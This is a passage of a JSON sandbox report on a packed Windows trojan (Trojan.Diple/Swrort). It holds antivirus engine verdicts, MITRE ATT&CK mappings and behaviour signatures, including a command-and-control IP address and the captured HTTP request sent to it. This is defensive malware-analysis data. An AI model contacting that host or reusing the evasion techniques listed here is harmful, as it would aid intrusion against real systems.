trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"HVM:Trojan/Swrort.gen!A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Trojan ( 7000001c1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.Diple.hgfzdl","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"malicious","threat_name":"Generic trojan.of","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/ABTrojan.BEVF-1286","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"Trojan.Diple","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot SMD","success":true,"verdict":"malicious","threat_name":"Malware_60.5","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"malicious","threat_name":"Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"malicious","threat_name":"Trojan.Diple.Win32.101432","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Trojan.Diple","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Persistence","technique":"Hooking","attack_id":"T1179","attack_id_wiki":"https://attack.mitre.org/techniques/T1179","identifiers":[{"type":"suspicious","value":"Installs hooks/patches the running process"},{"type":"suspicious","value":"Hooks API calls"}],"sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1215","attack_id_wiki":"https://attack.mitre.org/techniques/T1215","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1045","attack_id_wiki":"https://attack.mitre.org/techniques/T1045","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"tactic":"Defense Evasion","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"},{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"suspicious","value":"Checks warning level of secure to non-secure traffic redirection"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Queries registry keys"},{"type":"suspicious","value":"Reads the active computer name"},{"type":"suspicious","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"suspicious","value":"Queries sensitive IE security settings"},{"type":"suspicious","value":"Monitors specific registry key for changes"}],"sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified process"}],"sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1076","attack_id_wiki":"https://attack.mitre.org/techniques/T1076","identifiers":[{"type":"suspicious","value":"Reads terminal service related keys (often RDP related)"}],"sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"tactic":"Command and Control","technique":"Commonly Used Port","attack_id":"T1043","attack_id_wiki":"https://attack.mitre.org/techniques/T1043","identifiers":[{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"}],"sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the fully qualified path of module"},{"type":"suspicious","value":"Imports suspicious APIs"},{"type":"suspicious","value":"Contains ability to retrieve the command-line string for the current process"},{"type":"informative","value":"Contains ability to dynamically load libraries"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Persistence","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve the contents of the STARTUPINFO structure"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Privilege Escalation","technique":"Extra Window Memory Injection","attack_id":"T1055.011","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/011","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Privilege Escalation","technique":"Thread Local Storage","attack_id":"T1055.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/005","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Privilege Escalation","technique":"Asynchronous Procedure Call","attack_id":"T1055.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/004","identifiers":[{"type":"informative","value":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"PE file contains zero-sized sections"},{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"YARA signature match - RC4 Encryption"},{"type":"informative","value":"YARA signature match – ROR algorithm"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"suspicious","value":"Entrypoint in PE header is within an uncommon section"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Creates mutants"},{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"malicious","value":"PE file is protected by VMProtect"},{"type":"informative","value":"Matched Compiler/Packer signature"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"informative","value":"YARA signature match - High entropy file"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Contains ability to detect virtual environment (API)"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Defense Evasion","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"},{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to query local/system time as file time"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay the execution of current thread"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Reads files"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (executable)"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Reads information about supported languages"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to query service configuration on system (API string)"},{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry keys"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Discovery","technique":"Security Software Discovery","attack_id":"T1518.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1518/001","sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to query machine time"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to query the system locale"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Lateral Movement","technique":"Lateral Tool Transfer","attack_id":"T1570","attack_id_wiki":"https://attack.mitre.org/techniques/T1570","identifiers":[{"type":"informative","value":"Found CobaltStrike named pipe like strings"},{"type":"informative","value":"Calls an API typically used to create an instance of a named pipe"},{"type":"informative","value":"Calls an API typically used to create a named pipe"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Lateral Movement","technique":"Remote Desktop Protocol","attack_id":"T1021.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1021/001","identifiers":[{"type":"informative","value":"Contains ability to perform remote desktop activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Collection","technique":"Screen Capture","attack_id":"T1113","attack_id_wiki":"https://attack.mitre.org/techniques/T1113","identifiers":[{"type":"informative","value":"Contains ability to capture screen (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Command and Control","technique":"Application Layer Protocol","attack_id":"T1071","attack_id_wiki":"https://attack.mitre.org/techniques/T1071","identifiers":[{"type":"informative","value":"Found potential URL in binary/memory"},{"type":"informative","value":"Found potential IP address in binary/memory"},{"type":"informative","value":"Calls an API typically used to create a new HTTP request"},{"type":"informative","value":"Contacts server"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Calls an API used to connect to internet"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Found user-agent related strings"},{"type":"informative","value":"Found string related to HTTP headers"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Command and Control","technique":"Data Encoding","attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"Contains ability to perform Base64 encoding/decoding"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to close a handle to a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]}],"sandbox_signatures":[{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \".text\" is zero\n Raw size of \".data\" is zero\n Raw size of \".rdata\" is zero\n Raw size of \".bss\" is zero\n Raw size of \".idata\" is zero\n Raw size of \".CRT\" is zero\n Raw size of \".vmp0\" is zero","origin":"Static Parser","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"level":"informative","category":"General","name":"Contacts server","description":"\"176.123.3.108:80\"","origin":"Network Traffic","relevance":1,"id":"network-1","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex\"\n \"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex\"\n \"Local\\ZonesCacheCounterMutex\"\n \"Local\\ZonesLockedCacheCounterMutex\"","origin":"Created Mutant","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"General","name":"GETs files from a webserver","description":"\"GET /9ioK HTTP/1.1\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSMSE)\nHost: 176.123.3.108\nConnection: Keep-Alive\nCache-Control: no-cache\"","origin":"Network Traffic","relevance":5,"id":"network-2","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"level":"informative","category":"General","name":"Overview of unique CLSIDs touched in registry","description":"\"file.exe\" touched \"NetworkListManager\" (Path: \"HKCU\\CLSID\\{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\")\n \"file.exe\" touched \"Network List Manager\" (Path: \"HKCU\\CLSID\\{A47979D2-C419-11D9-A5B4-001185AD2B89}\")\n \"file.exe\" touched \"PSFactoryBuffer\" (Path: \"HKCR\\SOFTWARE\\CLASSES\\CLSID\\{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\")\n \"file.exe\" touched \"WinInetBroker Class\" (Path: \"HKCU\\CLSID\\{C39EE728-D419-4BD4-A3EF-EDA059DBD935}\\TREATAS\")","origin":"Registry Access","relevance":3,"id":"registry-72","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"file.exe\" touched file \"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls\"\n \"file.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Cookies\"\n \"file.exe\" touched file \"C:\\Users\\NamlC4g\\AppData\\Local\\Microsoft\\Windows\\History\"\n \"file.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat\"\n \"file.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\"\n \"file.exe\" touched file \"%APPDATA%\\Microsoft\\Windows\\Cookies\"\n \"file.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\History\"","origin":"API Call","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Pattern match: \"pki-crl.symauth.com/ca_219679623e6b4fa507d638cbeba72ecb/LatestCRL.crl07\"\n Pattern match: \"http://pki-ocsp.symauth.com0\"\n Pattern match: \"pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.crl0\"\n Heuristic match: \"{ICN?3.Gh\"","origin":"File/Memory","relevance":10,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"file.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"file.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1215","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"b72c2c98b4679c05706a07e069d75fb2a07a95c5c9009bb953a4ee414fa56e15.bin\" was detected as \"Morphine v1.2 (DLL)\"","origin":"Static Parser","mitre_attack_id":"T1045","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file has unusual entropy sections","description":".vmp1 with unusual entropies 7.95098266296","origin":"Static Parser","relevance":10,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the active computer name","description":"\"file.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":5,"id":"registry-35","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"suspicious","category":"Environment Awareness","name":"Reads the cryptographic machine GUID","description":"\"file.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\CRYPTOGRAPHY\"; Key: \"MACHINEGUID\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":10,"id":"registry-1","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Monitors specific registry key for changes","description":"\"file.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\Protocol_Catalog9\" (Filter: 1; Subtree: 0)\n \"file.exe\" monitors \"\\REGISTRY\\MACHINE\\SYSTEM\\ControlSet001\\services\\WinSock2\\Parameters\\NameSpace_Catalog5\" (Filter: 1; Subtree: 0)","origin":"API Call","mitre_attack_id":"T1012","relevance":4,"id":"api-12","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"level":"suspicious","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"176.123.3.108\"\n Heuristic match: \"GET /9ioK HTTP/1.1\nUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSMSE)\nHost: 176.123.3.108\nConnection: Keep-Alive\nCache-Control: no-cache\"","origin":"File/Memory","relevance":3,"id":"string-14","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 176.123.3.108 on port 80 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1043","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"},{"report_type":"sandbox","report_id":"68e3751115973bbad10e2f79"}]},{"level":"suspicious","category":"Network Related","name":"Uses a User Agent typical for browsers, although no browser was ever launched","description":"Found user agent(s): Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSMSE)","origin":"Network Traffic","relevance":10,"id":"network-22","sources":[{"report_type":"sandbox","report_id":"5fdba5e930b02f7ff3672f63"}]},{"level":"suspicious","category":"Remote Access Related","name":"Reads 